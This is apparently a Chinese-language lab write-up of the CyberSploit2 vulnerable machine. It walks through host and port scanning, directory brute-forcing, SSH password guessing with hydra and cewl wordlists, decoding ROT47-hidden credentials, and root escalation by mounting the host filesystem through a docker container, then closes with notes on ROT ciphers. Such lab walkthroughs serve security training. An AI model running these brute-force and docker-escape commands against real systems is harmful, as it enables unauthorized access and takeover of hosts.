Bootstrap

CyberSploit2渗透测试

1.渗透环境及工具

系统环境:kali,CentOS linux

工具: netdiscover,nmap,dirb,nitko,hydra,docker,cewl

2.2.1 确定IP

使用工具扫描主机的 IP 以及开放的端口

命令:netdiscover -i eth0 -r 192.168.150.0/24 或者 arp-scan -l

发现目标机IP

2.2.2 信息收集

获取IP后,获取端口:nmap -sS -Pn-A -p- 192.168.150.148

发现开放了22和80端口

使用工具扫描网站目录:dirb http://192.168.150.148

发现目录,访问:192.168.150.148/noindex/

访问: 192.168.150.148/noindex/common/

发现没有有价值的信息。

2.2.3 漏洞扫描

对于22端口,使用searchsploit搜索OpenSSH

OpenSSH 8.0 没有发现漏洞

对于80端口,访问网站: http://192.168.150.148:80

发现一些用户名和密码,做成字典进行破解,没有成功。

使用hydra破解ssh:hydra -L user1.txt -P pass1.txt ssh://192.168.150.148

没有成功。

使用cewl生成网站字典:cewl http://192.168.220.148 > user2.txt

再使用hydra破解ssh:hydra -Luser2.txt -P user2.txt ssh://192.168.150.148

还是没有成功。

再观察网页内的账户密码,发现第四个不正常,猜测可能是加密后的,尝试对其进行解密。

查看源代码:

发现源代码末尾有ROT47的字样,百度查询看看

发现是位移加密,说明刚才对第四个账户的猜测是正确的,是进行加密后的,我们对该账户密码进行解密:

解密后账户密码:shailendra cybersploit1

尝试使用开放的ssh服务进行连接:ssh [email protected]

登录成功.

使用id查看用户信息,sudo -l查看权限信信息

发现没有权限执行sudo,需要提权。

对网站进行漏洞扫描

命令:nikto -host 192.168.150.148

没有发现漏洞。

2.2.4 漏洞利用

没有其他漏洞

2.2.5 提权

利用SUID进行提权:find / -user root -perm -4000 -print 2>/dev/null

没有发现可以利用的点。

查看文件:ls

发现hint.txt文件,查看该文件,内容是:docker

猜测是使用docker提权,查看用户信息:id

发现当前用户在docker组,可以运行docker,再查看本地已经安装的镜像:dockerimages

下载docker镜像并启动容器:docker run -v /:/root -i -t ubuntu /bin/bash

-v绑定容器中的root目录

-i -t指定启动的镜像名称Ubuntu

/bin/bash 启动一个shell,并绑定容器中的root目录

启动后查看当前目录就是服务器的根目录

进入shell,切换到本机root目录,此时就是服务器的根目录,然后再切换root目录,就是服务器的root目录

3.总结

1、信息收集时,ROT47加密方法

ROT5:只对数字进行编码。用当前数字往后数的第五个数字替换当前数字;

如:123ab—>678ab

ROT13:只对字母进行编码,用当前字母往后数的第13个字母替换当前字母;

如:123ab—>123no

ROT18:将RPT5和ROT13组合在一起的;

如:123ab—>678no

ROT47:对数字,字母,常用符号进行编码,按照它们的ASCLL值进行位置替换,用当前字符的ASCLL值往后数的第47位字符替换当前字符;

用于ROT47编码的字符其ASCLL值范围是33~126

如:A(65)—>p(112)

2、提权时,用到了docker提权

docker run -v /:/root -i -t ubuntu /bin/bash

-v绑定容器中的root目录

-i -t指定启动的镜像名称Ubuntu

/bin/bash 启动一个shell,并绑定容器中的root目录

;